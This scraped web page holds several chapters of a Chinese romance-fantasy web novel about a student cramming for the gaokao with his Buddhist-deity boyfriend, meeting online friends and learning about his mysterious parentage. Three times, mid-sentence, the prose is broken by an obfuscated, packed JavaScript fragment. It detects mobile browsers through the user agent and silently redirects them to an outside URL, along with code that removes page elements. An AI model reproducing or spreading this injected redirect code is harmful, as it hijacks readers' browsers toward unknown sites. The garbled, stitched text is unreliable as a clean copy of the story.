施霜景不知道自己被这么多人讨论。他正全神贯注地做数学大题。周围的考生做题动静很大,后座的学生不停抖腿,施霜景的思路屡次被打断。今天做题不是很顺啊,好些大题只能做出第一问,就连第二问都做不出来。施霜景的眉毛在考试期间就没松解过,一直紧皱着。 两个钟头转瞬即逝,响铃,交卷。不知为何,今天施霜景做题状态很差,他刚考完就能大概估出一个分值,可能也就六十来分的样子。施霜景辛辛苦苦补了半年课,却在最后一次大考里表现很糟。施霜景的心里很不是滋味,考场里其他同学表情轻松,他们似乎觉得这次考试题不算很难。 好,糟,心,啊。 在回励光厂的大巴上,施霜景头靠车窗,嘴巴发苦。明天还要考一天,施霜景知道今晚他应该继续抓紧复习,做题、整理错题、向罗老师提问。正在这时,班主任张国强摸着车椅慢慢走过来,坐在施霜景旁边的空位上。张国强说:“施霜景,你星期天的物理考得挺好,现在你估计高考能考多少分?” 这时候问我吗?施霜景真犯难了,他说:“我就希望能上个二本,现在还差几十分呢。我今天数学考砸了。” “模拟考而已,又不是高考。不是高考的所有考试都不作数。”张国强说,“你今天晚自习来我办公室,我给你讲讲电学大题。我看你的电学做题思路也没啥问题,就卡在叠加场问题上,说不定讲明白了你就一通百通了。” 张国强像转性了一样,施霜景十分惊诧。老师向他表达善意,施霜景统统都接下。当晚他就带着上次周日的理综卷子去了班主任办公室。施霜景推开办公室门时,张国强正好在打印资料,那张热气腾腾的纸被塞进施霜景手里,张国强说:“这是我给他们搞电学题特训的资料,那时候你在家补课,没来。我不晓得你找的老师水平比我高还是比我低,但他能把你教好,我挺佩服。坐吧,我给你讲怎么做这种题。” 回家之后,施霜景向罗爱曜绘声绘色地描述张国强怎么主动给他讲题。施霜景的物理能考七十二分,没想到比施霜景的数学更快及格。施霜景感慨道:“我还以为张国强很讨厌我,看来也没有嘛。他讲的题我好像有点懂了,但没有吃透。你再帮我讲讲?” 罗爱曜倒是能理解张国强这样的老教师。面对一群根本心不在学习上的学生,老师要日复一日地调理内心的挫败感。相反地,在这种环境中但凡找见一个努力向上的学生,老师也会相应地雀跃起来,毕竟是老师,要是对这份职业一点热爱都没有,干不了这几十年。 三诊考完,日历很快揭到五月初。分数出来,施霜景考了四百四十六,可他根本来不及高兴——没时间高兴了。张国强拿着施霜景这个分数有些难办,他不像李婉萦那么委婉,直说道:“如果题目难一点,你这个分数应该能过二本线。但这回三诊的难度就是适中吧,如果高考也是这个难度,怕是二本线都有四百六、四百七了。你还要加油,施霜景。” 施霜景心里郁闷,将这番话复述给李婉萦听,李婉萦才承认道:“之前我说四百六十分……是‘起码’四百六十分才有可能过民办二本的最低投档线。如果想挑专业,会计专业算热门的,分数还得考得更高一些才行。对不起啊,小景,那时候我怕分数报太高了,你会觉得目标遥不可及。” 家里简直是愁云惨雾,最乐天的竟然是罗爱曜。罗爱曜拿到施霜景的分数,倒数高考的日子,不还有一个月么?“从十一月算起,现在正好满半年。你用半年时间补完了高中三年的基础知识,已经是非常了不起。我认为你的基础打得不错。虽然只剩一个月,但还有提升空间。你二诊考了三百八十九,三诊就能考到四百四十六,提升快六十分呢。你对自己比我对你还严格?”罗爱曜对施霜景这样说道。 施霜景捧着数学卷子闷闷不乐,数学只考了六十八分。考试那天怎么看都没思绪的题目,过没两天自己都能解出来,换谁谁不郁闷?施霜景的声音略微颤抖:“我要是高考那天也这样……怎么办?” “你想我给你某种保证吗?”罗爱曜问道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649649|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 施霜景眼巴巴地望着罗爱曜。 罗爱曜摇头:“我不可能帮你作弊。要是能作弊,我何苦这么费劲地教你呢?” “我说的不是作弊啊!”施霜景扔下卷子,骑在罗爱曜腿上,“我知道你说的那些什么上床提高智商的话都是在骗我,但我就不能真的再聪明一点点吗?” 罗爱曜拨开施霜景的脸,在这种时候施霜景最像小狗了:“你的智商没问题!按部就班、沉心静气地做题就好了,真的,信我。” 施霜景双手合十,死皮赖脸道:“真的不能保佑我高考多做对两道选择题么?” “别来这套,撤回。蒙对是一种本事,但不能是我帮你蒙对。我很讲规矩,你别坏我规矩。”罗爱曜简直是铁板一块。 施霜景耷拉着眼角也耷拉着嘴角,撤退洗澡去了。他带着睡衣和手机进浴室,躲在浴室里玩手机。K歌群这几天久违地活跃起来,小亚决定来S省找工,她就是来投奔施霜景的,尽管他们只是网友。施霜景说过,到了春天就欢迎她来,现在即将入夏,小亚真的来了。她同她的工友一起来的,问施霜景有没有什么临时工可以做一下,施霜景就将之前的柠檬茶店介绍给她们,救急一阵子应该还成。 两个女孩在麦上,唱着抖音的热歌,施霜景就放着K歌房当背景音洗澡。听着听着,施霜景也唱了起来,反正调子不算高。 浴室里传出歌声,罗爱曜暂停视频,专心听施霜景唱歌。二十岁的男孩,世人都害怕的死亡,他经历了数次,却依旧心态良好;一场人类强求的考试,模拟考一次两次三次,他却紧张、失意、彷徨至此。罗爱曜很自然地就想到了文殊。司智慧的菩萨会怎么看呢? 周六放学,施霜景回家换衣,罗爱曜临时起意,想和施霜景出去走走,晒太阳散心,施霜景却说:“我要去找K歌房的朋友。她们刚来D市,我要请她们吃个饭。” 罗爱曜萎靡在沙发上,明晃晃地失落。施霜景有点内疚,可他是见网友,绝不能带什么男朋友或者舅舅。“我们明早出去散心吧,反正明天下午才返校……哦不行,李老师要来补课。那下周呢?”施霜景寻找解决办法中。 “你去吧,下周的事下周再说,谁知道你下周会不会又去见谁。”罗爱曜瘫在沙发上说怪话。 施霜景被罗爱曜逗得不行,风水轮流转,轮到罗爱曜被放置。施霜景凑过去亲罗爱曜,罗爱曜如猫般闪躲。施霜景哈哈大笑,更起劲地想亲到罗爱曜,罗爱曜一举车钥匙:“我送你过去,然后我去逛街。晚上你结束了给我打电话,如果我还在城里,就接你回来。” “你不用接送我,我坐地铁过去更方便,她们就住在地铁沿线。” “我去花钱,购置夏装,谁说要接送你了?只是顺路好不好。” 难得见到罗爱曜傲娇大发作,施霜景稀罕的不得了。说到花钱,施霜景犹豫问道:“我早就想问这个问题了……你给我转了很多钱,我是不是最好不要随便给人钱?” “借钱会伤感情,直接给钱更伤感情。你要是想帮朋友,只能救急不救穷。他们刚搬来D市,你多送点实用的礼物也不错。”罗爱曜换上认真神色,教施霜景待人处事。 施霜景比了个“OK”的手势。他知道该怎么做了。 153.大智若愚篇(十六) 兜里揣着钱,忙里偷闲,施霜景像游戏里的小人,带满资源开新地图。他一直不认为自己是D市人,这样探索起来反而更有意思。 小亚是个有些丰满的可爱女孩,个子小小的,能量却一点也不少,她大施霜景起码五六岁,女孩子的年龄不是非要问不可,只知道她的年纪绝对够当施霜景的姐姐。施霜景与小亚之前就面基过,K歌房的同伴们一起爬山那回,小亚不敢一个人来,就约了同厂的伙伴。这回施霜景再见她,发现小亚带的伙伴就是上次面基的伙伴,两个女孩都忙着打理新家,没空打理自己,约施霜景也就是约在楼下的火锅店吃饭。 他们聚在一家酸菜豆花火锅店里,还没到晚餐时间,小亚和同伴依依却是还没吃过午饭,已经饿得前胸贴后背了。施霜景习惯性地沉默寡言,听两个女孩指挥,他今天的任务就是来买单。“投奔”这两个字很重,施霜景担心自己担不起,可既然女孩们已经来了,他当然要尽地主之谊。 “施霜景,我之前没有在奶茶店干过……你是怎么能下班之后还回家唱歌的?我第一天上班差点没给累死,我还是从电子厂出来的呢。”小亚用筷子戳破一次性餐具的塑料膜。 施霜景没什么可说的啊,不就是拖着身体回家么?他岔开话题:“在餐饮店干全职是很辛苦。你们之后有什么打算吗?” 小亚笃定道:“我想做销售。我就想干点和人打交道的活。”依依则是觉得奶茶店的工作可以接受,累是累了点,可是工资还不错,像其他的连锁咖啡店,过了培训期,时薪也不错。D市的消费水平不算太高,又是两个人同住,找工作只需要考虑能不能匹配自己的需求。 她们租了套两居室老破小,比起电子厂的集体宿舍,在这里好歹有了独立的卧室空间,这周围的配套也很不错,近地铁,市场齐全,什么都能买着,买菜回家做饭也是完全没问题的。施霜景是敞亮人,直说了:“我今天就是来帮忙的,你们现在还有什么活需要男生帮忙,我今天帮你们一起干了。” 小亚和依依面面相觑,小亚说:“得了吧,我知道你是好意,但我真想不出来有什么活一定要等一个男的来帮。你不是还在读书吗?姐姐们什么都经历过,搬个家而已。” 施霜景这才被点醒,小亚来D市是真有自己的主意,他们要对彼此放心。两个女生很喜欢吃小酥肉,轻轻松松吃掉三盘。施霜景是爱操心的性子,幸好一路上碰见的还是好人多,才没被人滥用这好心。小亚和依依风卷残云,施霜景也吃得开心尽兴,正是傍晚时分,小亚和依依提出让施霜景做导游,晚上他们可以去九眼桥逛逛。 施霜景跟在两个女孩儿身后,顺便进她们的新家参观看看。女孩回屋换衣、化妆,施霜景猛搜九眼桥游览攻略——老天啊,他也没去过!他对D市真是最熟悉的陌生人。 对了。 施霜景放下手机,深吸一口气,凑近门口的猫眼往外看。 金银珠饰,璎珞宝坠,异于常人的极高的身高,如烟云般朦胧迷幻的纱衣,不见头首,只见其胸间的无量光明众宝,反倒更像一具直立的残损雕塑。自从上次在酒店和罗爱曜的法身打了照面和“深入交流”之后,施霜景总会余光看见罗爱曜以法身跟随他,鬼魅一般。施霜景毛骨悚然,确认只有自己能看见这样的罗爱曜。 他打开门缝,打算与罗爱曜说几句,却又被法身一手推回来,关上门。同时,施霜景收到罗爱曜的消息。 罗爱曜:别对着空气说话,会把别人吓死。 一剑霜寒:为什么非要跟着我呢……你不怕把我吓死吗? 罗爱曜:想跟就跟了,家里无聊。 一剑霜寒:你不是出门逛街么? 罗爱曜:[罗爱曜与玉米的自拍] 罗爱曜:玩猫中。 一剑霜寒:好可爱哦…… 一剑霜寒:我设成手机壁纸了! 一剑霜寒:[手机壁纸截图] 一剑霜寒:我晚上十点左右回家,不用担心 一剑霜寒:谢谢男朋友放我出来玩[双手合十][双手合十][双手合十] 罗爱曜:[转账20000元] 一剑霜寒:[接收转账20000元] 罗爱曜:那我出门了? 一剑霜寒:去吧! 施霜景有他的朋友,这是一件好事。以施霜景为中心,结成了严密的支持网络,二十岁的施霜景真正在这个社会生根发芽了。他无父无母,但他有爱他的长辈,例如刘茜;有欣赏他资质也欣赏他人品的成熟社会人,例如郎放蒋良霖一家;有因兴趣结识的同伴,例如小亚;有受过他好处且心怀感激的庄晓和何晓栋;有高三备考革命情谊的同学,例如杨玲玲。最重要的是,有施霜景深爱且同样深爱施霜景的佛子罗爱曜。 至此,施霜景不再是来时的那个施霜景,再也无法轻飘飘地离开此世了。有更多信徒因佛子而记住施霜景,但在那个世界之外——在施霜景的小世界里,他是重要的人,他是中心的人。他可以成为自己的中心。以施霜景为中心,拉住很多人,留住很多人。 三月初施霜景差点死去,从此不愿意罗爱曜出门,非要罗爱曜留在家里才安心。罗爱曜已充分吃了教训,施霜景要找他的时候,他都在。两个月过去,施霜景似乎终于走出这不安感了。 施霜景跟在小亚和依依身后,五一已过去,九眼桥的人流量回到正常水平。施霜景满怀兴趣地享受着这些人造景观,黄灯、沿街摊位、酒吧歌声……小亚和依依互相拍照,偶尔需要施霜景帮忙举着手机,她们开着倒计时自拍,压根不需要施霜景出一点技术。 小亚对这些歌手驻唱酒吧感到很唏嘘,她看过攻略,选了最想去的一家。虽然施霜景还是高三生,但他的年龄早就过线了,他的病刚好,肯定不喝酒,进去喝杯无酒精饮料倒是没问题。三人进酒吧,上到二楼,正对九眼桥河景,就是喝点东西纯聊天。 他们就是在线上K歌房认识的,如今在民谣酒吧叙旧,大家都觉得之前的窘迫好像上辈子的事。 小亚说:“我十八岁就进电子厂了,前两年不懂事,赚到的工资全部花掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657289|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。我也不想一辈子在厂里打工啊,但是越花钱就越……越花钱,我就越走不掉。我认识你那年,你还是高一?快高二了,对。我们在群里聊外卖的事,你说你都自己做饭吃。你是我认识的第一个会自己做饭记账的男孩,你还说我们电子厂食堂的菜看起来很好吃的样子……我没和你说过,我每次在群里见到你说话,就想到你教我们记账。记账的第一个月太恐怖了,一点点钱加起来,一个月就白干。不过话又说回来,那两年我要是不花钱,钱就要被我爸妈要走,还不如花掉。” 春月江风未断绝,酒意催人不停将自己的过往掏出来,讲给别人听。就连施霜景也难得聊起来自己的事,尽管他喝的是无酒精椰林:“我真的很喜欢唱歌,不用花钱,不用面对其他人,我只需要对着歌词和伴奏一次次练习……能通过唱歌认识你们,我特别高兴。我听的歌很老土,但我也不知道那些新歌好听在哪里啊。向别人解释真的好麻烦,但是在网上唱歌,大家都不认识我,特别轻松。我喜欢和你们一起PK唱歌,喜欢听你们上麦,就算聊天也没关系。我家里太安静了,只有我一个人……” 小亚无意间看见施霜景的手机壁纸,她拄着下巴笑问施霜景:“你追星啊?还是看直播?壁纸这个人好帅,推给我推给我……” 施霜景怔了片刻,解锁手机,调出了原图,转手机给小亚和依依看。施霜景也撑着脑袋,傻笑道:“你们猜?” “猜什么?名字吗?我好久没看剧了……最近有这么帅的男明星?”小亚迷迷糊糊。 依依倒是很电波地放大了小猫的图像:“这猫养得真胖胖啊。” “到底是谁啊?说嘛说嘛,我现在就搜他的剧。别告诉我他是照骗网红。”小亚也掏出手机。 施霜景抽回手机,炫耀道:“是我男朋友!” 小亚和依依没反应过来,她们还以为施霜景还在聊追星。 “这只猫是玉米啊!他真是我男朋友!”施霜景指着玉米以作证明,“很帅吧?我也觉得他长得很帅……当初我就是被他这张脸骗了……” 小亚惊叫一声,施霜景竟然有男朋友,不对,施霜景是同性恋吗?不对!施霜景,你还在上高三啊!小亚语序混乱,施霜景被楼下歌手的live动静扰得脑袋也不清醒了,一个劲地傻乐。依依拉住小亚,怕小亚失态。施霜景轻拍桌子,他今天请客,男朋友已经转账了,要施霜景好好和朋友玩,要玩得开心。依依拿着施霜景的手机看玉米美照,她喝了一杯长岛冰茶就醉了,絮絮叨叨地说自己也想养猫,好室友,我们也去捡猫。 施霜景少失怙恃,小亚父母失职,依依少无所依。远处车水马龙为廊桥织成光的飘带,而廊桥本身也交映着蓝黄色的灯光,湖色深浓。年轻人不去想未来,只想这一刻的停歇。有人讲了哭了,有人听着笑着,最终即便落寞下来,将心中淤堵的、无所诉说的东西全倾倒出去,也算轻装上阵。施霜景想起罗爱曜如何身体力行,陪伴,永远的陪伴。有时只要在场就好!施霜景特别高兴,他的老师兼男朋友兼舅舅真的教会他很多东西。 154.大智若愚篇(十七) 晚上十点半,施霜景从地铁站出来,正准备找辆共享电车骑回家,余光瞥见那辆车头镀成蓝色的机车,视线往上扫,只见罗爱曜久违地穿牛仔裤配皮衣出来接他。 施霜景大步跑到罗爱曜身边,长腿跨上罗爱曜的机车后座,罗爱曜给他递头盔,施霜景问:“你是刚逛完街,还是专门来接我的?” “我没去逛街,我去找马凯歌。具体的事回家说。” 罗爱曜看起来心情尚可,应该是没碰什么钉子。施霜景抱紧罗爱曜的腰,机车在春夜中疾行,春天果然还是要骑机车啊!天气回暖,加之励光厂开了新的生产线,厂里招了不少新员工,近来厂里非常热闹,驶入生活区,沿街摆起了夜市摊位,招牌花花绿绿,施霜景最近晚自习结束偶尔也会去夜市买夜宵吃。 两人回到家,施霜景端坐在沙发上,等罗爱曜说他去找马凯歌做了啥。施霜景做什么就无需向罗爱曜汇报了,“罗爱曜”一路都跟着他呢,施霜景都习惯见到这号人物了。 罗爱曜习惯性地进厨房烧水、泡茶,手边有茶才能谈事的习惯说不好到底算成年人还是算老年人,反正罗爱曜来施霜景家半年,就往施霜景的柜子里塞满了天价茶叶,公斤价格从几万到几十万不等。尽管施霜景从不问,但施霜景隐约知道,凡是罗爱曜自己带来的东西,都是贵的、好的。从床垫到茶叶,问了价格反而心里不踏实,不如不知道的好。 “马凯歌竟然还在D市吗?他彻底不回家了吗?你把他替换成了另一个版本的马凯歌,这个版本的马凯歌应该就不存在家庭问题了吧?”施霜景连珠炮一般问道。 罗爱曜坐上沙发,慢条斯理回答道:“现在算是由马头明王在使用马凯歌这具身体,我成功塑出了我的明王相,让他检查过了,一点问题也没有,他非常意外,说我做什么好像都很轻松——他倒是忘了,之前我差点就在西北进大乘涅槃,还说什么‘轻松’,没被他们坑死算不错的。马头明王要助我密宗涅槃,成事之后他也想寻找密宗化身示现的办法,看能不能为他塑一具伪应身,他不想用马家人的身体了,信徒方面也要做出调整,想肃清信徒内部的混乱信仰。” 有条件的帮助,很公平。施霜景以为罗爱曜讲完了,便取了书包来,将作业摊在茶几上,又摘了沙发的软垫当坐垫,就这样伏在茶几前写作业。高三生心里苦,还没到十二点,至少写到十二点再睡觉吧。 “施霜景,最近你还做梦吗?”罗爱曜俯身问道。 “做梦?很少吧,可能有做,但印象都不深。怎么了?” 罗爱曜双手环胸,兀自思量了片刻,只听得室内剩翻纸、写字的动静。半晌,罗爱曜才又开口:“我去找马头明王聊你的身世。我先说结论——我们都看不透你到底有什么来头。我认为你就是普通人,你有许多普通人所不具备的天赋,比如我的法器很喜欢你,文殊剑在你身边自动修复……” “说是文殊剑,但我根本就耍不动嘛!”施霜景到底是个古风小生,能给自己起“一剑霜寒”这种网名的人,听到这类要素还是忍不住拔高音调。 “……还有找上你的金刚杵,我的确怀疑过你与文殊的渊源,但我在马头明王那儿确认了一件事,文殊菩萨并不如释迦牟尼那般,在成佛之前就有血脉的渊源。文殊菩萨是三世古佛,像是佛界的轮回,即他最开始就是佛,中途决定倒驾慈航,返回人世,作为妙吉祥王子,然后又以妙吉祥之身为菩萨,以后若有决断,则又会选择涅槃,回到佛国。用你们人类的话来说,你不会是文殊的佛子,这一点我有说明白吗?” “明白。” “马头明王调查过你的父母。你的父亲来自彝族的某个毕摩家族,马头明王还不停地开我们名字的玩笑,说他知道古彝族的‘罗施鬼国’,说你说不定有大鬼主血统,但不论你有没有,这都与佛法无关。你和郎放的体质很像,在命格上构成了父母双亡、具有学习玄术天赋的‘天绝命’,然而郎放是有前世的人,他们那一系的天绝命属于钟山神一系。你没有前世,你也不属于哪一系,所以我们就转为琢磨你母亲的事。” 施霜景又抽了一个靠垫放在地上,拍拍坐垫,让罗爱曜坐下同他讲。施霜景对罗爱曜很亲近了,也就不再那么恭敬,把草稿纸和笔一递,不许罗爱曜空口画谱系图讲施霜景的家世,施霜景跟不上。罗爱曜只好把他刚才说的全画成思维导图,嗯,这下施霜景懂了。 罗爱曜写下“卓瑜”两字,笔尖一顿,缓缓说道:“马凯歌还是□□歌的时候,派人去西北调查你母亲卓瑜……不论是我还是他,都没有查到你母亲的背景,‘空白’意味着神秘。我们都绝非凡人,就算没能找到切实的证据,感应总是该有的。但是,对于你母亲的来历,我们都没办法。恐怕调查就要到此为止了。” 施霜景观察罗爱曜的表情,罗爱曜严肃的神情之中还含有难以言喻的挫败,像他这样近乎全能的存在,却始终无法确认爱人的来历,难以想象要付出多少努力才能压制住这种不确定感,不去多想,不去阴谋论。 施霜景只关心一个问题:“‘我到底是谁’这件事,影响你和我在一起吗?” 罗爱曜回以坚定的眼神:“不影响。你首先是施霜景,然后才是背后所有身份的承担者。” “就像你对我来说首先是罗爱曜,然后才是佛子一样。”施霜景听懂了,进而轻松、释然,他伸个懒腰,“以后不要说你不喜欢你的名字了。没有名字,我该怎么喊你呢?我以前让你涅槃,可你不涅槃我就会不和你在一起吗?你就算变回了普通人,一分钱都没有,那又怎么样?反正我就是喜欢你,我出去跑外卖养你,就像养玉米一样。” 罗爱曜失笑道:“怎么越说越离谱了?不是在聊你的事情么?” “我就是打个比方。你别问了,也别查了。你要去找文殊,就去文殊院之类的地方直接问他。你们佛啊菩萨啊是最看机缘、时间的,强等等不来。我妈妈已经过世那么多年了,你们老去翻她的旧账也怪烦的。放下吧,我们都放下吧。”施霜景抽回草稿纸,翻个面,继续做生物卷子,这回是真的在推遗传病大题了。 桌上茶杯的杯身热烫,罗爱曜双手捂茶杯,凝视着垂头用功的施霜景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657290|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。施霜景怎么想的就怎么说,心口一致,这样的人说话才有威力。他让罗爱曜放下,罗爱曜就当摒除最后一丝杂念,不再追索了。 普通也好,超然也罢,罗爱曜允许施霜景成为自己一生的谜题。 距离高考只剩一个月,是最后的冲刺时间。 施霜景恨不能头悬梁、锥刺股,紧张感一天比一天强烈。施霜景好像正处于一个解题的突破期,讲题的时候一讲就懂,写题时也总是觉得自己做过类似题型,能抓到一点解题的线头,但就是没办法推进下去。这样的感觉多来几次之后,施霜景的心中泛起强烈的不甘,竟然是开始和题目死磕,这让他在几次随堂小考里发挥不佳。 施霜景每天早上六点钟起床,听着英语单词的音频洗漱、换衣,最近就连早餐都在外面买着吃。老板娘掀开热气腾腾的蒸笼,施霜景面无表情地点肉包。施霜景揣着三个包子、一颗卤蛋和一盒牛奶进教室,边背书边吃早餐。吃完早餐,施霜景就找出错题本,按罗爱曜教的那样,开始重做错题。施霜景用功不过大半年,数学的错题本已经有一摞,他从第一次模考的时间往后重做错题,因为这期间基本做的都是真题,复习真题最有效益。每次同学踩着七点过早读的时间进班时,施霜景已经学了有好一会儿。 有时施霜景会请假不上晚自习,在家死磕类型题。对于一些作业,施霜景实在是没有办法按时完成,起初一些科任老师很不理解,你不是都复学了么,不写作业是有什么意见么?施霜景去敲了一间又一间办公室门,道歉,解释,但死不悔改。他和同学的进度不一样,像一些抄写的作业,他有自己的背默流程,就不参与抄写任务了。他绝不是看哪一科好就搁置哪一科的学生。最后老师妥协,如果他哪天交不上作业,交那一科的错题本或者听写本、默写本上来也行,至少证明你昨天有学我这一门。 罗爱曜嘴上不说,行动上却承包了家中的大小事。玉米由罗爱曜照顾,施霜景每天回到家只需要和猫玩一玩放松精神。至于多余的那些家务,罗爱曜偷了懒,花钱请钟点工上门打扫,他家毕竟楼下楼上两间房。钟点工不上门的时候,罗爱曜买了手持吸尘器,他随手吸尘、吸猫毛。施霜景从外面打包饭菜回来也没关系了,罗爱曜想吃就跟着吃点,不想吃就在旁边喝茶、喝咖啡。在这个节点,最重要的就是不折腾。 日升月落,月升日落,时间飞逝,天气渐热。施霜景收起冬装、冬被,换上短袖,他的原生皮肤其实偏白,只不过容易晒黑。捂了一整个冬天,夏天便肆意晒太阳,施霜景重拾健康的肤色。营养和休息跟上来了,尽管是在备考期间,施霜景看起来却比往年要更精力旺盛。 罗爱曜被迫执行了周六夜晚的上床计划,明明是两人还不熟的时候制定的,偏偏这时候执行了。男高只有周六晚上比较有空,第二天不用早起上学。说出去要吓死别人,都要高考了,就不能不做吗?不行,施霜景和罗爱曜都不同意。男高就指着周六晚上放纵一下,男高的男朋友兼老师兼小舅就指着周六晚上吃口热乎男高。再做四次就要高考了哦。这么一算,高考可太近了。 155.大智若愚篇(十八) 五月中旬,学校进行最后一次月考。到这一阶段,学生大多都已麻木了,每日更改黑板上的倒计时,学生心中也只有“到底什么时候才结束”这一想法。就连这最后一次月考,很多人都考得心不在焉,自己的分数已经被三次模考摸了个透透的,月考的意义在哪里?倒是施霜景把最后一次月考看得很严肃,郑重地考完了。三天后出分,总分四百七十二。对于这分数的意义,施霜景不再问任何人。他静默地誊抄错题,在课堂稳坐如山。 日头愈来愈辣,施霜景最早到教室,就由他来开空调。施霜景初三中考前也是这般,早早抵达教室,沐浴湿润的晨光翻开书本,专心做自己的事。他是那类努力但成绩平平的学生,可如果连努力都不努力,那成绩只有垫底的份。被说是装模作样、无效努力都无所谓,施霜景从最初的二百二十二分,涨到如今的四百七十二分,他是个努力的二百五,要是二百五能翻倍,成为他最终的分数,那施霜景心甘情愿当二百五。 中国人对高考一贯疯魔。在高考前的倒数第二个周六,励光厂高中的高三生们想要集体组织去文殊院烧香。班主任张国强要跟着一起去,既然这种集体行动无法避免,那最好就由老师陪同。 施霜景是班级的一份子,肯定也要去,只是施霜景怎么听怎么觉得有些微妙。他现在完全不敢去任何寺庙,更遑论许愿。儿时没有记忆的情况不算数,自打施霜景有记忆以来,他只去过一次寺庙,就是去年去大慈寺下半年为玉米祈福。一祈就祈回个佛子。罗爱曜听说施霜景要去文殊院,倒是没有阻拦他。 “你不是觉得第四个护法的线索指向文殊菩萨么?你要不要一起来?”施霜景试探地问道。 罗爱曜也有种说不出的微妙,就跟吃了一嘴墙灰似的,干巴巴还糊嘴,觉得这么直给的线索不会是什么好线索。既然施霜景诚心诚意地发问了,那罗爱曜就大发慈悲地决定跟他一起去。罗爱曜身为佛子,其实从来都避免突兀去到菩萨道场之类的地方,一是干扰道场僧尼修行,二是有上坟的悲凉感,毕竟罗爱曜知道,愈是指名了佛的寺庙,这些佛愈是离信众十万八千里远——求菩萨或许还更好些,然而罗爱曜又知道,菩萨们也隔阂了,就连佛子都找不见这些“前辈”们。有用的“信仰”需要严格的仪式,松散的“许愿”则就是随香烟而逝、求个心安而已。刚刚提到有上坟的悲凉感,罗爱曜还担心一回事……上坟倒也罢了,诈尸怎么办?高考愈来愈近了,罗爱曜想安安分分地陪施霜景高考,他们的时间禁不起任何一点快进了。 约好烧香的周六,中午放学,接送考生去模考的大巴车准时等在校门口,想跟学生一同去的家长也排起长队,老师在群里通知了,校车会一波波地拉学生和家长过去,老师和第一批学生以及家长先到文殊院,剩余的家长和学生慢慢等、慢慢来,不着急。 施霜景不打算赶第一波,他想先吃午饭。正下楼梯之时,施霜景忽然踩空,幸好离地面只剩两三节台阶,施霜景险些崴了脚。他堪堪站定,忽然看见校外的身影,那对蓝眼睛所投来的目光太有穿透力。施霜景有些理解了罗爱曜的微妙感,他正了正身形,小心翼翼地下楼、穿越操场、出校门。 “我有点不想去。我刚才下楼差点摔了,感觉是不好的信号。”施霜景神色紧张,神神叨叨的。 罗爱曜大松一口气:“那我们就不去了吧!” 原来罗爱曜真的不想去!施霜景现在看罗爱曜也是够准的。施霜景拍拍罗爱曜的肩膀:“走吧,吃饭去。下午你有什么安排么?要不要我们出去逛逛?上次我去找小亚那天,你不是想约我出去玩么,去哪里?” “去不去民宿住一晚?郎放最近在D市周边投了一家不错的树屋民宿。” “你竟然会私下和他们联系?!”施霜景惊了。 罗爱曜比施霜景还诧异,施霜景不会是学习学傻了吧?“我们几个人有群聊,你忘了?上个月郎放在群里分享链接,还让我抽时间带你去放松。” 施霜景乐了。树屋民宿是什么?施霜景边走边翻聊天记录,还真让他找到了郎放发的链接。他以后能不能也像郎放一样,“投”一家民宿……这个“投”字真的好帅啊! 主街尽是学生和家长,在这初夏之际闹出了春游的架势。工人们结束早班,不愿意吃食堂的工人也来街上吃午饭。施霜景和罗爱曜在主街来回了两三次,硬是没选出想吃的午餐,毕竟平时天天吃,也该吃腻了。罗爱曜干脆拎着施霜景回家换衣,这顿饭不如在路上吃。 施霜景收拾出一个小行李袋,罗爱曜已经很习惯照顾玉米了,出门前准备好猫砂和食粮。玉米察觉出两个主人有那么一点想丢下它出去玩的迹象,它便往地上一躺,肚皮一翻,左右来回翻滚。施霜景蹲下来玩猫,罗爱曜叉腰等施霜景。等了十分钟,施霜景还在玩猫,罗爱曜问道:“你不会要带玉米一起去吧?” 施霜景一把抄起玉米,握住玉米两只前爪,假装在替玉米发声,抗议似的:“带我一起去!带我带我!” “……” “好吧我开玩笑的。走。” 罗爱曜只差那么一点就心软了,其实也就是打个电话确认的功夫,万一民宿可以带猫呢?算了,下次吧。 罗爱曜开车,施霜景兴致勃勃,尽管车后座就放了他的书包——施霜景把作业全须全尾地带去民宿,只不过是换个地方写题而已。但是!即便是写题!换个环境写题也很开心!罗爱曜提议他们去麦当劳或肯德基随便买点东西,带在路上吃,这样比较不浪费时间,听说郎放投的树屋民宿还挺好玩的,下午可以安排些小活动。 施霜景没想到罗爱曜会允许他在车上吃东西,不过转念一想,他也没问过可不可以。施霜景戴上了罗爱曜送他的墨镜,顶着D市初夏的艳阳,左手可乐,右手汉堡。罗爱曜不爱吃东西,但施霜景吃薯条的时候还是会喂罗爱曜,这是一种情趣更是一种礼貌。别看罗爱曜不声不吭,他本就是爱往外跑的性子,他喜静的同时也会喜闹,这是佛的不定法。这是施霜景第一次同罗爱曜大白天里游车河,两个人可以专心聊天,车内空气凉丝丝的,最是抚平心中的焦虑与毛躁。 